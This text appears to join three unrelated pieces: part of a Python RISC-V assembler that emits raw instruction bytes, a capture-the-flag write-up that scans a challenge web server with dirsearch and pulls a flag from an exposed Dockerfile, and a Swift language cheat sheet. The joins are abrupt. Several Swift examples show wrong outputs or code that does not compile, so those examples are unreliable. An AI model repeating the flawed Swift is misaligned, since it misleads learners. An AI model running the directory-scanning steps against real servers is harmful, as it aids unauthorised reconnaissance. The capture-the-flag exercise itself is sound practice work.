immediate_real_pattern = '{0}{1:021b}'.format(sign_extension_pattern, immediate_value)
assert len(instruction_binary) == 32
assert len(immediate_real_pattern) == 32
return instruction_binary, immediate_real_pattern
elif instruction_type == 'SB_TYPE':
# unpack sb-type instruction
assert len(instruction_values) == 3
rs1_name = calculate_register_number_from_name(instruction_values[0])
rs2_name = calculate_register_number_from_name(instruction_values[1])
# get bottom 13 bits
immediate_value = int(instruction_values[2], 0) & 0x1FFF
# pack upper half of immediate
immediate_upper_bits_string = '{0:01b}{1:06b}'.format(
(immediate_value >> 12) & 0x1,
(immediate_value >> 5) & 0x3F)
# pack lower half of immediate
immediate_lower_bits_string = '{0:04b}{1:01b}'.format(
(immediate_value >> 1) & 0xF,
(immediate_value >> 11) & 0x1)
instruction_binary = '{0}{1:05b}{2:05b}{3}{4}{5}'.format(
immediate_upper_bits_string,
rs2_name,
rs1_name,
FUNCT_CODES[instruction_name],
immediate_lower_bits_string,
OPCODES[instruction_name]
)
sign_extension_pattern = 19 * '{0}'.format(immediate_value >> 12)
immediate_real_pattern = '{0}{1:013b}'.format(sign_extension_pattern,
immediate_value & (0xFFF << 1))
assert len(instruction_binary) == 32
assert len(immediate_real_pattern) == 32
return instruction_binary, immediate_real_pattern
elif instruction_type == 'S_TYPE':
rs2_name = calculate_register_number_from_name(instruction_values[0])
second_piece = instruction_values[1].split('(')
immediate_value = int(second_piece[0], base=0)
rs1_name = calculate_register_number_from_name(second_piece[1][:-1])
immediate_upper_half = '{0:07b}'.format(immediate_value >> 5)
immediate_lower_half = '{0:05b}'.format(immediate_value & 0x1F)
instruction_binary = '{0}{1:05b}{2:05b}{3}{4}{5}'.format(
immediate_upper_half,
rs2_name,
rs1_name,
FUNCT_CODES[instruction_name],
immediate_lower_half,
OPCODES[instruction_name]
)
sign_extension_pattern = 20 * '{0}'.format(immediate_value >> 11)
immediate_real_pattern = '{0}{1:012b}'.format(sign_extension_pattern,
immediate_value)
assert len(immediate_real_pattern) == 32
assert len(instruction_binary) == 32
return instruction_binary, immediate_real_pattern
elif instruction_type == 'I_TYPE':
# unpack i-type instruction
rd_name = None
rs1_name = None
immediate_value = None
if instruction_name in LOAD_INSTRUCTION_NAMES:
rd_name = calculate_register_number_from_name(instruction_values[0])
second_piece = instruction_values[1].split('(')
immediate_value = int(second_piece[0], base=0)
rs1_name = calculate_register_number_from_name(second_piece[1][:-1])
else:
assert len(instruction_values) == 3
rd_name = calculate_register_number_from_name(instruction_values[0])
rs1_name = calculate_register_number_from_name(instruction_values[1])
immediate_value = int(instruction_values[2], base=0) & 0xFFF
immediate_binary_string = ''
if instruction_name == 'SLLI' or instruction_name == 'SRLI' \
or instruction_name == 'SRAI':
if instruction_name == 'SRAI':
immediate_binary_string = '{0}{1:05b}'.format(
R_I_TYPE_UPPER_SEVEN_BITS_ALT,
immediate_value & 0x1F)
else:
immediate_binary_string = '{0}{1:05b}'.format(
R_I_TYPE_UPPER_SEVEN_BITS_NORMAL,
immediate_value & 0x1F)
else:
immediate_binary_string = '{0:012b}'.format(immediate_value)
assert len(immediate_binary_string) == 12
instruction_binary = '{0}{1:05b}{2}{3:05b}{4}'.format(
immediate_binary_string,
rs1_name,
FUNCT_CODES[instruction_name],
rd_name,
OPCODES[instruction_name])
sign_extension_pattern = 20 * '{0}'.format(immediate_value >> 11)
immediate_real_pattern = '{0}{1:012b}'.format(sign_extension_pattern,
immediate_value)
if instruction_name == 'SLLI' or instruction_name == 'SRLI' \
or instruction_name == 'SRAI':
immediate_real_pattern = '0' * 27 + '{0:05b}'.format(immediate_value & 0x1F)
assert len(instruction_binary) == 32
assert len(immediate_real_pattern) == 32
return instruction_binary, immediate_real_pattern
elif instruction_type == 'R_TYPE':
# unpack r-type instruction
assert len(instruction_values) == 3
rd_name = calculate_register_number_from_name(instruction_values[0])
rs1_name = calculate_register_number_from_name(instruction_values[1])
rs2_name = calculate_register_number_from_name(instruction_values[2])
special_instructions = set(['SUB', 'SRA'])
upper_bit_pattern = R_I_TYPE_UPPER_SEVEN_BITS_ALT if instruction_name in special_instructions else R_I_TYPE_UPPER_SEVEN_BITS_NORMAL
if instruction_name == 'MUL':
upper_bit_pattern = '0000001'
instruction_binary = '{0}{1:05b}{2:05b}{3}{4:05b}{5}'.format(
upper_bit_pattern,
rs2_name,
rs1_name,
FUNCT_CODES[instruction_name],
rd_name,
OPCODES[instruction_name]
)
assert len(instruction_binary) == 32
return instruction_binary, (32 * 'x')
def asm(code):
code = code.upper()
code = code.replace("\nRET", "")
code = re.sub("LI (.*?), (.*)", "ADDI \g<1>, X0, \g<2>", code)
code = re.sub("J .*", "JAL X0, 0", code)
code = code.replace(", ", ",")
code = code.replace("SP", 'X2')
code = code.replace("S0", 'X8')
code = code.replace("S1", 'X9')
code = code.replace("RA", 'X1')
code = code.replace("A0", 'X10')
code = code.replace("A1", 'X11')
for i in range(2, 12):
code = code.replace("S" + str(i), 'X' + str(i + 16))
for i in range(2, 8):
code = code.replace("A" + str(i), 'X' + str(i + 10))
res = ''
for line in code.split("\n"):
line = line.strip('\n')
instruction_as_binary, immediate = generate_binary_from_instruction(line)
res += instruction_as_binary
chunks = chunk(long_to_bytes(int(res, 2)), 4)
return "".join(c[::-1] for c in chunks)+"g\x80\x00\x00"
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Convert RISC-V assembly to binary vectors')
parser.add_argument('asmfile',
type=str,
help='asm file')
parser.add_argument('-d',
'--debug',
action='store_true',
default=False,
help='enable printing additional stuff')
parser.add_argument('-i',
'--inst',
action='store_true',
default=False,
help='print instruction text')
parser.add_argument('-m',
'--imm',
action='store_true',
default=False,
help='print immediate binary')
args = parser.parse_args()
assembly_file_path = args.asmfile
assembly_file_root_name = assembly_file_path.split('.')[0]
with open(assembly_file_path, 'r') as assembly_file:
assembly_lines = assembly_file.readlines()
for line in assembly_lines:
line = line.strip('\n')
instruction_as_binary, immediate = generate_binary_from_instruction(line)
if args.debug:
if args.inst:
print 'inst: {0}'.format(line)
if args.imm:
print 'immediate: {0}'.format(immediate)
print 'bin: {0}\n\n'.format(instruction_as_binary)
else:
print '{0}'.format(instruction_as_binary)
|
sec-knowleage
|
# KipodStab
Web, 5 points
## Description
> The one who stabbed me will never be exposed.
## Solution
Entering the provided link, we are presented with the Apache2 Debian Default Page ("It works!").
After basic enumeration did not lead anywhere, the next step was calling `dirseach` - a lightweight `dirbuster` clone which searches for common file names.
```console
root@kali:/media/sf_CTFs/kaf/KipodStab# python3 ~/utils/dirsearch/dirsearch.py -u http://ctf.kaf.sh:3040/ -e *
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: – | Threads: 10 | Wordlist size: 6040
Error Log: /hdd2/utils/dirsearch/logs/errors-19-12-20_20-47-36.log
Target: http://ctf.kaf.sh:3040/
[20:47:36] Starting:
[20:47:39] 403 - 199B - /.htaccess-dev
[20:47:39] 403 - 199B - /.ht_wsr.txt
[20:47:39] 403 - 199B - /.hta
[20:47:39] 403 - 199B - /.htaccess-local
[20:47:39] 403 - 199B - /.htaccess.BAK
[20:47:39] 403 - 199B - /.htaccess-marco
[20:47:39] 403 - 199B - /.htaccess.bak1
[20:47:39] 403 - 199B - /.htaccess.orig
[20:47:39] 403 - 199B - /.htaccess.old
[20:47:39] 403 - 199B - /.htaccess.save
[20:47:39] 403 - 199B - /.htaccess.sample
[20:47:39] 403 - 199B - /.htaccess.txt
[20:47:39] 403 - 199B - /.htaccess_extra
[20:47:39] 403 - 199B - /.htaccess_orig
[20:47:39] 403 - 199B - /.htaccess_sc
[20:47:39] 403 - 199B - /.htaccessBAK
[20:47:39] 403 - 199B - /.htaccessOLD
[20:47:39] 403 - 199B - /.htgroup
[20:47:39] 403 - 199B - /.htaccessOLD2
[20:47:39] 403 - 199B - /.htaccess~
[20:47:39] 403 - 199B - /.htpasswd-old
[20:47:39] 403 - 199B - /.htpasswd_test
[20:47:39] 403 - 199B - /.htpasswds
[20:47:39] 403 - 199B - /.htusers
[20:48:06] 200 - 107B - /Dockerfile
[20:48:11] 301 - 237B - /icons -> http://ctf.kaf.sh:3040/icons/
[20:48:13] 200 - 9KB - /index.html
Task Completed
```
Apart from `index.html`, the only other valid result is `/Dockerfile`, let's check it out:
```console
root@kali:/media/sf_CTFs/kaf/KipodStab# curl http://ctf.kaf.sh:3040/Dockerfile
FROM httpd:alpine
WORKDIR /usr/local/apache2/htdocs/
COPY . .
# Flag is KAF{dOn7_5748_doCK3R_CON741n3R2}
```
In retrospective, there was a hint in the page pointing to Docker:
```console
root@kali:/media/sf_CTFs/kaf/KipodStab# curl http://ctf.kaf.sh:3040/ -s | grep docker
found by accessing the <a href="https://www.docker.com/" style="color: #389fee;">manual</a> if the <tt>apache2-doc</tt>
```
|
sec-knowleage
|
---
title: Swift
date: 2023-02-28 14:50:01
background: bg-[#eb4e38]
tags:
- Apple
- iOS
- iPadOS
categories:
- Programming
intro: |
This cheat sheet provides examples of using Swift that cover basic Swift knowledge, control flow etc.
plugins:
- copyCode
---
Getting Started
---
### Variable {.row-span-2}
```swift
var score = 0 // Variable
let pi = 3.14 // Constant
var greeting = "Hello"
var numberOfToys = 8
var isMorning = true
var numberOfToys: Int = 8
numberOfToys += 1
print(numberOfToys)
// prints "9"
```
### Type annotations
```swift
var greeting: String = "Hello"
var numberOfToys: Int = 8
var isMorning: Bool = true
var price: Double = 8.99
```
### Arithmetic operators {.row-span-3}
- `+` Add
- `-` Subtraction
- `*` Multiplication
- `/` Division
- `%` Remainder
{.cols-2 .marker-none}
----
```swift
var x = 0
x = 4 + 2 // x is now 6
x = 4 - 2 // x is now 2
x = 4 * 2 // x is now 8
x = 4 / 2 // x is now 2
x = 4 % 2 // x is now 0
```
----
- `+=` Adds and assigns sums
- `-=` subtract and assign the difference
- `*=` Multiplication and assignment
- `/=` Divide and assign quotient
- `%=` Divide and assign remainder
{.marker-none}
#### Compound Assignment Operators
```swift
var numberOfDogs = 100
numberOfDogs += 1
print("There are \(numberOfDogs) Dalmatians!")
// print: There are 101 Dalmatians!
```
### String interpolation
```swift
var apples = 6
print("I have \(apples) apples!")
// print: I have 6 apples!
```
### Multi-line string
```swift
let myLongString = """
Swift?
This is my favorite language!
Yeah!
"""
```
### Code Comments
```swift
// This line represents a comment in Swift.
/*
This is all commented out.
None will run!
*/
```
### Form a tuple {.col-span-2}
```swift
let player = ("Maya", 5, 150)
print(player) // ("Maya", 5, 150)
print("\(player.0): level \(player.1), \(player.2) pts") // Maya: level 5, 150 pts
```
### Decompose tuple
```swift
let player = (name: "Maya", level: 5)
let (currentName, curLevel) = player
print("\(currentName): level \(curLevel)")
// print: Maya: level 5
```
### Special comment syntax (MARK)
```swift
// MARK: -view settings
```
`MARK` can be used to display comments in the column
### Special comment syntax (TODO)
```swift
// TODO: update logic to accommodate data changes
```
`TODO` is used to display reminders of things that need to be done
### Special Comment Syntax (FIXME)
```swift
// FIXME: Fix buggy behavior when making changes to existing entries
```
`FIXME` is used to display reminders about things that need to be fixed
Variable
----
### Variable declaration
Variables are declared with `var`:
```swift
var greeting = "Hello"
var numberOfToys = 8
var isMorning = true
```
For clarity, variable declarations can contain type annotations:
```swift
var greeting: String = "Hello"
var numberOfToys: Int = 8
var isMorning: Bool = true
```
Variables are mutable. Their values be changed:
```swift
var numberOfToys: Int = 8
numberOfToys += 1
print(numberOfToys)
// print "9"
```
### Constants
Constants are declared with `let`:
```swift
let greeting = "Hello"
let numberOfToys = 8
let isMorning = true
```
For clarity, constant declarations can contain type annotations:
```swift
let greeting: String = "Hello"
let numberOfToys: Int = 8
let isMorning: Bool = true
```
Constants are immutable. Their values be changed:
```swift
let numberOfToys: Int = 8
numberOfToys += 1
// Error: numberOfToys is immutable
```
### Computed variables (get and set) {.row-span-3}
```swift
import Foundation
let df = DateFormatter()
df.dateFormat = "d MMMM yyyy"
guard var birth = df.date(from: "5 June 1999") else {
print("Date is not valid")
return
}
var age: Int {
Calendar.current
.dateComponents([.year],
from: birth,
to: Date()).year!
}
print(age) // 23
guard let birth2 = df.date(from: "5 June 2002") else {
print("Date is not valid")
return
}
birth = birth2
print(age) // 20
```
In the example below, distanceInFeet has a `getter` and a `setter`. Because of the `setter`, the `getter` requires the keyword `get`:
```swift
var distanceInMeters: Float = 100
var distanceInFeet: Float {
get {
distanceInMeters *3.28
}
set(newDistance) {
distanceInMeters = newDistance /3.28
}
}
print(distanceInMeters) // 100.0
print(distanceInFeet) // 328.0
distanceInFeet = 250
print(distanceInMeters) // 76.21951
print(distanceInFeet) // 250.0
distanceInMeters = 800
print(distanceInMeters) // 800.0
print(distanceInFeet) // 2624.0
```
### willSet {.row-span-2}
```swift
var distance = 5 {
willSet {
print("The distance will be set")
}
}
distance = 10 // print: distance will be set
```
The new value can be accessed in `willSet`:
```swift
var distance = 5 {
willSet(newDistance) {
print("The distance will be set \(newDistance)")
}
}
distance = 10 // print: distance will be set to 10
```
`willSet` can be used to execute some code before setting the variable value
### didSet
```swift
var distance = 5 {
didSet {
print("The distance is set to \(distance)")
print("Its old value is: \(oldValue)")
}
}
distance = 10 // print: distance will be set to 10
// print: its old value is: 5
```
### willSet and didSet
```swift
var distance = 5 {
willSet(newDistance) {
print("The distance will be set to \(newDistance)")
}
didSet {
print("The distance is set to \(distance)")
print("Its old value is: \(oldValue)")
}
}
distance = 10
```
Conditions
---
### if statement
```swift
var halloween = true
if halloween {
print("Trick or treat!")
}
// print: Trick or treat!
if 5 > 3 {
print("5 is greater than 3")
} else {
print("5 is not more than 3")
}
// output: "5 is greater than 3"
```
### else statement
```swift
var turbulence = false
if turbulence {
print("Please sit down.")
} else {
print("You are free to move around.")
}
// print: You are free to move around.
```
### else if statement
```swift
var weather = "rainy"
if weather == "sunny" {
print("Get some sunscreen")
} else if weather == "rainy" {
print("Take an umbrella")
} else if weather == "snowing" {
print("Put on your snow boots")
} else {
print("Invalid weather")
}
// print: take an umbrella
```
### Comparison Operators
```swift
5 > 1 // true
6 < 10 // true
2 >= 3 // false
3 <= 5 // true
"A" == "a" // false
"B" != "b" // true
```
-`<` less than
-`>` greater than
-`<=` less than or equal to
-`>=` greater than or equal to
-`==` is equal to
-`!=` is not equal to {.style-round cols-2}
### Ternary conditional operator
```swift
var driverLicense = true
driverLicense
? print("driver seat") : print("passenger seat")
// print: driver's seat
```
### switch statement
```swift
var secondaryColor = "green"
switch secondaryColor {
case "orange":
print("A mixture of red and yellow")
case "purple":
print("A mix of red and blue")
default:
print("This may not be a secondary color")
}
// print: mix of blue and yellow
```
### switch statement: interval matching
```swift
let year = 1905
var artPeriod: String
switch year {
case 1860...1885:
artPeriod = "Impressionism"
case 1886...1910:
artPeriod = "Post-Impressionism"
default:
artPeriod = "Unknown"
}
// print: post-impressionism
```
### switch statement: composite case
```swift
let service = "Seamless"
switch service {
case "Uber", "Lyft":
print("travel")
case "DoorDash", "Seamless", "GrubHub":
print("Restaurant delivery")
case "Instacart", "FreshDirect":
print("Grocery Delivery")
default:
print("Unknown service")
}
// print: restaurant takeaway
```
### switch statement: where clause
```swift
let num = 7
switch num {
case let x where x % 2 == 0:
print("\(num) is even")
case let x where x % 2 == 1:
print("\(num) odd number")
default:
print("\(num) is invalid")
}
// print: 7 odd
```
### Logical Operators
```swift
!true // false
!false //true
```
### Logical Operators &&
```swift
true && true // true
true && false // false
false && true // false
false && false // false
```
### Logical operators ||
```swift
true || true // true
true || false // true
false || true // true
false || false // false
```
### Combined Logical Operators
```swift
!false && true || false // true
```
`!false && true` first evaluates and returns `true` Then, the expression, `true` || `false` evaluates and returns the final result `true`
```swift
false || true && false // false
```
`true && false` first evaluates to return `false` Then, the expression, `false` || `false` evaluates and returns the final result `false`
### Control the order of execution
```swift
// without parentheses:
true || true && false || false
//----> true
// with brackets:
(true || true) && (false || false)
//----> false
```
### Simple guards
```swift
func greet(name: String?) {
guard let unwrapped = name else {
print("Hello guest!")
return
}
print("Hello \(unwrapped)!")
}
greet(name: "Asma") // output: Hello Asma!
greet(name: nil) // output: Hello guest!
```
cycle
----
### scope
```swift
let zeroToThree = 0...3
//zeroToThree: 0, 1, 2, 3
```
### stride() function
```swift
for oddNum in stride(from: 1, to: 5, by: 2) {
print(oddNum)
}
// print: 1
// print: 3
```
### for-in loop
```swift
for char in "hehe" {
print(char)
}
// print: h
// print: e
// print: h
// print: e
```
### continue keyword
```swift
for num in 0...5 {
if num % 2 == 0 {
continue
}
print(num)
}
// print: 1
// print: 3
// print: 5
```
The `continue` keyword will force the loop to continue for the next iteration
### break keyword
```swift
for char in "supercalifragilistic" {
if char == "c" {
break
}
print(char)
}
// print: s
// print: u
// print: p
// print: e
// print: r
```
### Use underscores
```swift
for _ in 1...3 {
print("Ole")
}
// print: Ole
// print: Ole
// print: Ole
```
### while loop
```swift
var counter = 1
var stopNum = Int. random(in: 1...10)
while counter < stopNum {
print(counter)
counter += 1
}
// loop to print until the stop condition is met
```
A `while` loop accepts a condition and keeps executing its body code while the provided condition is `true`. If the condition is never false, the loop will keep running and the program will get stuck in an `infinite loop`
Arrays and collections
----
### Array array
```swift
var scores = [Int]()
// array is empty: []
```
### .count property
```swift
var grocery = ["🥓", "🥞", "🍪", "🥛", "🍊"]
print(grocery.count)
// print: 5
```
### index {.row-span-2}
The index refers to the item's position in the ordered list, and a single element is retrieved from the array using the subscript syntax `array[index]`.
```swift
var vowels = ["a", "e", "i", "o", "u"]
print(vowels[0]) // prints: a
print(vowels[1]) // prints: e
print(vowels[2]) // print: i
print(vowels[3]) // prints: o
print(vowels[4]) // prints: u
```
Note: Swift arrays are zero-indexed, meaning the first element has index 0.
### Initialize with array literal
```swift
// use type inference:
var snowfall = [2.4, 3.6, 3.4, 1.8, 0.0]
// explicit type:
var temp: [Int] = [33, 31, 30, 38, 44]
```
### .append() method and += operator
```swift
var gymBadges = ["Boulder", "Cascade"]
gymBadges.append("Thunder")
gymBadges += ["Rainbow", "Soul"]
// ["Boulder", "Cascade", "Thunder",
// "Rainbow", "Soul"]
```
### .insert() and .remove() methods
```swift
var moon = ["🌖", "🌗", "🌘", "🌑"]
moon.insert("🌕", at: 0)
// ["🌕", "🌖", "🌗", "🌘", "🌑"]
moon. remove(at: 4)
// ["🌕", "🌖", "🌗", "🌘"]
```
### Traverse the array
```swift
var employees = ["Peter", "Denial", "Jame"]
for person in employees {
print(person)
}
// print: Peter
// print: Denial
// print: Jam
```
### Collection (Set)
```swift
var paintingsInMOMA: Set = [
"The Dream",
"The Starry Night",
"The False Mirror"
]
```
We can use a collection (`Set`) to store `unique` elements of the same data type
### Empty collection (Set)
```swift
var team = Set<String>()
print(team)
// print: []
```
### Populate the collection
```swift
var vowels: Set = ["a", "e", "i", "o","u"]
```
To create a set filled with values, use the `Set` keyword before the assignment operator.
### .insert()
```swift
var cookieJar: Set = [
"Chocolate Chip",
"Oatmeal Raisin"
]
// add a new element
cookieJar.insert("Peanut Butter Chip")
```
### .remove() and .removeAll() methods
```swift
var oddNumbers: Set = [1, 2, 3, 5]
// remove existing element
oddNumbers.remove(2)
// remove all elements
oddNumbers.removeAll()
```
### .contains()
```swift
var names: Set = ["Rosa", "Doug", "Waldo"]
print(names.contains("Lola")) // print: false
if names.contains("Waldo"){
print("There's Waldo!")
} else {
print("Where's Waldo?")
}
// print: There's Waldo!
```
### Iterate over a collection
```swift
var recipe: Set = ["Egg", "Flour", "Sugar"]
for ingredient in recipe {
print ("Include \(ingredient) in the recipe")
}
```
### .isEmpty property
```swift
var emptySet = Set<String>()
print(emptySet.isEmpty) // print: true
var populatedSet: Set = [1, 2, 3]
print(populatedSet.isEmpty) // print: false
```
### .count property
```swift
var band: Set = ["Peter", "Denial", "Jame"]
print("The band has \(band.count) players.")
// print: Band has 4 players.
```
### .intersection() Intersection
```swift
var setA: Set = ["A", "B", "C", "D"]
var setB: Set = ["C", "D", "E", "F"]
var setC = setA.intersection(setB)
print(setC) // print: ["D", "C"]
```
### .union()
```swift
var setA: Set = ["A", "B", "C", "D"]
var setB: Set = ["C", "D", "E", "F"]
var setC = setA.union(setB)
print(setC)
// print: ["B", "A", "D", "F", "C", "E"]
```
### .symmetricDifference() Symmetric difference
```swift
var setA: Set = ["A", "B", "C", "D"]
var setB: Set = ["C", "D", "E", "F"]
var setC = setA.symmetricDifference(setB)
print(setC)
// print: ["B", "E", "F", "A"]
```
### .subtracting() Subtraction
```swift
var setA: Set = ["A", "B", "C", "D"]
var setB: Set = ["C", "D"]
var setC = setA.subtracting(setB)
print(setC)
// print: ["B", "A"]
```
dictionary
---
### Base Dictionary
```swift
var dictionaryName = [
"Key1": "Value1",
"Key2": "Value2",
"Key3": "Value3"
]
```
An `unordered` collection of pairs of data or key-value pairs
### Keys
```swift
var fruitStand = [
"Coconuts": 12,
"Pineapples": 12,
"Papaya": 12
]
```
Each `key` is `unique` even if they all contain the same `value`
### Type Consistency
```swift
var numberOfSides = [
"triangle": 3,
"square": 4,
"rectangle": 4
]
```
Contains only `String` keys and `Int` values
### Initialize and populate the dictionary
```swift
var employeeID = [
"Hamlet": 1367,
"Horatio": 8261,
"Ophelia": 9318
]
```
### Initialize an empty dictionary
```swift
// initializer syntax:
var yearlyFishPopulation = [Int: Int]()
// Empty dictionary literal syntax:
var yearlyBirdPopulation: [Int: Int] = [:]
```
### add to dictionary
```swift
var pronunciation = [
"library": "lai·breh·ree",
"apple": "a·pl"
]
// new key: "programming", new value: "prow gra"
pronunciation["programming"] = "prow·gra"
```
### Delete key-value pair {.row-span-2}
```swift
var bookShelf = [
"Goodnight": "Margaret Wise Brown",
"The BFG": "Roald Dahl",
"Falling Up": "Shel Silverstein",
"No, David!": "David Shannon"
]
// remove value by setting key to nil
bookShelf["The BFG"] = nil
// remove value using .removeValue()
bookShelf. removeValue(forKey: "Goodnight")
// remove all values
bookShelf. removeAll()
```
### Modify the key-value pair {.row-span-2}
```swift
var change = [
"Quarter": 0.29,
"Dime": 0.15,
"Nickel": 0.05
]
// Change the value using subscript syntax
change["Quarter"] = .25
// Change the value using .updateValue()
change. updateValue(.10, forKey: "Dime")
```
To change the value of a key-value pair, use the `.updateValue()` method or the subscript syntax by appending brackets `[ ]` with the existing keys within to the name of the dictionary, then adding the assignment operator _(`= `)_ followed by the modified value
### .isEmpty property
```swift
var bakery = [String:Int]()
// check if the dictionary is empty
print(bakery.isEmpty) // prints true
bakery["Cupcakes"] = 12
// check if the dictionary is empty
print(bakery.isEmpty) // print false
```
### .count property
```swift
var fruitStand = [
"Apples": 12,
"Oranges", 17
]
print(fruitStand.count) // print: 2
```
### Assigning values to variables
```swift
var hex = [
"red": "#ff0000",
"yellow": "#ffff00",
"blue": "#0000ff",
]
print("Blue hexadecimal code \(hex["blue"])")
// print: blue hex code Optional("#0000ff")
if let redHex = hex["red"] {
print("red hexadecimal code \(redHex)")
}
// print: red hex code #ff0000
```
Assigning the value of a key-value pair to a variable will return an optional value. To extract values, use the optional expansion
### Traversing the dictionary
```swift
var emojiMeaning = [
"🤔": "Thinking Face",
"😪": "Sleepy Face",
"😵": "Dizzy Face"
]
// loop through keys and values
for (emoji, meaning) in emojiMeaning {
print("\(emoji) is called '\(meaning)Emoji'")
}
// iterate through keys only
for emoji in emojiMeaning. keys {
print(emoji)
}
// iterate through values only
for meaning in emojiMeaning. values {
print(meaning)
}
```
function
---
### Basic functions
```swift
func washCar() -> Void {
print("Soap")
print("Scrub")
print("Rinse")
print("Dry")
}
```
### Call functions
```swift
func greetLearner() {
print("Welcome to QuickRef.ME!")
}
// function call:
greetLearner()
// print: Welcome to QuickRef.ME!
```
### return value
```swift
let birthYear = 1994
var currentYear = 2020
func findAge() -> Int {
return currentYear-birthYear
}
print(findAge()) // prints: 26
```
### Multiple parameters {.col-span-2}
```swift
func convertFracToDec(numerator: Double, denominator: Double) -> Double {
return numerator / denominator
}
let decimal = convertFracToDec(numerator: 1.0, denominator: 2.0)
print(decimal) // prints: 0.5
```
### Omit parameter labels
```swift
func findDiff(_ a: Int, b: Int) -> Int {
return a -b
}
print(findDiff(6, b: 4)) // prints: 2
```
### return multiple values {.col-span-2}
```swift
func smartphoneModel() -> (name: String, version: String, yearReleased: Int) {
return ("iPhone", "8 Plus", 2017)
}
let phone = smartphoneModel()
print(phone.name) // print: iPhone
print(phone.version) // print: 8 Plus
print(phone.yearReleased) // print: 2017
```
### Parameters & Arguments
```swift
func findSquarePerimet(side: Int) -> Int {
return side *4
}
let perimeter = findSquarePerimet(side: 5)
print(perimeter) // print: 20
// Parameter: side
// Argument: 5
```
### Implicit return
```swift
func nextTotalSolarEclipse() -> String {
"April 8th, 2024 🌎"
}
print(nextTotalSolarEclipse())
// print: April 8th, 2024 🌎
```
### Default parameters
```swift
func greet(person: String = "guest") {
print("Hello \(person)")
}
greet() // Hello guest
greet(person: "Aliya") // Hello Aliya
```
### Input and output parameters {.row-span-2}
```swift
var currentSeason = "Winter"
func season(month: Int, name: inout String) {
switch month {
case 1...2:
name = "Winter ⛄️"
case 3...6:
name = "Spring 🌱"
case 7...9:
name = "Summer ⛱"
case 10...11:
name = "Autumn 🍂"
default:
name = "Unknown"
}
}
season(month: 4, name: ¤tSeason)
print(currentSeason) // Spring 🌱
```
### variable parameter
```swift
func totalStudent(data: String...) -> Int {
let numStudents = data.count
return numStudents
}
print(totalStudent(data: "Denial", "Peter"))
// print: 2
```
### Optional parameters
```swift
func getFirstInitial(from name: String?) -> String? {
return name?.first
}
```
Functions can accept optional types and return optional types. When a function cannot return a reasonable instance of the requested type, it should return `nil`
structure
----
### Structure Creation
```swift
struct Building {
var address: String
var floors: Int
init(address: String, floors: Int) {
self.address = address
self. floors = floors
}
}
```
Structs or structs are used to programmatically represent real-life objects in code. A structure is created using the `struct` keyword, followed by its name, followed by a body containing its properties and methods
### Default property values
```swift
struct Car {
var numOfWheels = 4
var topSpeed = 80
}
var reliantRobin = Car(numOfWheels: 3)
print(reliantRobin.numOfWheels) // prints: 3
print(reliantRobin.topSpeed) // print: 80
```
### Structural instance creation
```swift
struct Person {
var name: String
var age: Int
init(name: String, age: Int) {
self.name = name
self. age = age
}
}
// Person instance:
var morty = Person(name: "Peter", age: 14)
```
### init() method {.row-span-2}
```swift
struct TV {
var size: Int
var type: String
init(size: Int, type: String) {
self.size = size
self.type = type
}
}
```
Using the `TV` class
```swift
var newTV = TV(size: 65, type: "LED")
```
### Check type
```swift
print(type(of: "abc")) // print: String
print(type(of: 123)) // print: 123
```
### Mutation method (mutating) {.row-span-2}
```swift
struct Menu {
var menuItems = ["Fries", "Burgers"]
mutating func addToMenu(dish: String) {
self.menuItems.append(dish)
}
}
```
Using the `Menu` class
```swift
var dinerMenu = Menu()
dinerMenu.addToMenu(dish: "Toast")
print(dinerMenu.menuItems)
// prints: ["Fries", "Burgers", "Toast"]
```
### Structural methods
```swift
struct Dog {
func bark() {
print("Woof")
}
}
let fido = Dog()
fido.bark() // prints: Woof
```
class
----
### reference type (class) {.row-span-2}
```swift
class Player {
var name: String
init(name: String) {
self.name = name
}
}
var player1 = Player(name: "Tomoko")
var player2 = player1
player2.name = "Isabella"
print(player1.name) // Isabella
print(player2.name) // Isabella
```
### instance of the class
```swift
class Person {
var name = ""
var age = 0
}
var sonny = Person()
// sonny is now an instance of Person
```
### init() method {.row-span-2}
```swift
class Fruit {
var hasSeeds = true
var color: String
init(color: String) {
self.color = color
}
}
```
Using the Fruit class
```swift
let apple = Fruit(color: "red")
```
A class can be initialized using the `init()` method and the corresponding initialization properties. In the `init()` method, the `self` keyword is used to refer to the actual instance of the class assigning property values
### Class Attributes
```swift
var ferris = Student()
ferris.name = "Ferris Bueller"
ferris.year = 12
ferris.gpa = 3.81
ferris.honors = false
```
### Inherit {.row-span-2}
Suppose we have a BankAccount class:
```swift
class BankAccount {
var balance = 0.0
func deposit(amount: Double) {
balance += amount
}
func withdraw(amount: Double) {
balance -= amount
}
}
```
`SavingsAccount` extends `BankAccount` class
```swift
class SavingsAccount: BankAccount {
varinterest = 0.0
func addInterest() {
let interest = balance *0.005
self. deposit(amount: interest)
}
}
```
The new `SavingsAccount` class (subclass) automatically gets all the characteristics of the `BankAccount` class (superclass). Additionally, the `SavingsAccount` class defines an `.interest` property and an `.addInterest()` method.
### Example
use data type
```swift
class Student {
var name: String
var year: Int
var gpa: Double
var honors: Bool
}
```
Use default property values
```swift
class Student {
var name = ""
var gpa = 0.0
var honors = false
}
```
### This is an example of a struct definition and a class definition
```swift
struct Resolution {
var width = 0
var height = 0
}
class VideoMode {
var resolution = Resolution()
var interlaced = false
var frameRate = 0.0
var name: String?
}
```
The `Resolution` structure definition and the `VideoMode` class definition only describe the appearance of `Resolution` or `VideoMode`, create an instance of the structure or class:
```swift
let resolution = Resolution(width: 1920)
let someVideoMode = VideoMode()
```
Enumerate
----
### Define the enumeration
```swift
enum Day {
case monday
case tuesday
case wednesday
case thursday
case friday
case saturday
case sunday
}
let casualWorkday: Day = .friday
```
### Switch statement
```swift
enum Dessert {
case cake(flavor: String)
case vanillaIceCream(scoops: Int)
case brownie
}
let customerOrder: Dessert = .cake(flavor: "Red Velvet")
switch customerOrder {
case let .cake(flavor):
print("You ordered a \(flavor) cake")
case .brownie:
print("You ordered a chocolate cake")
}
// prints: "You ordered a red velvet cake"
```
### CaseIterable
```swift
enum Season: CaseIterable {
case winter
case spring
case summer
case falls
}
for season in Season.allCases {
print(season)
}
```
Add conformance to the `CaseIterable` protocol to access the `allCases` property, which returns an array of all cases of the enumeration
### Original value
```swift
enum Beatle: String {
case john paul george ringo
}
print("The Beatles are \(Beatle.john.rawValue).")
// print: The Beatles are john.
```
### Related values
```swift
enum Dessert {
case cake(flavor: String)
case vanillaIceCream(scoops: Int)
case brownie
}
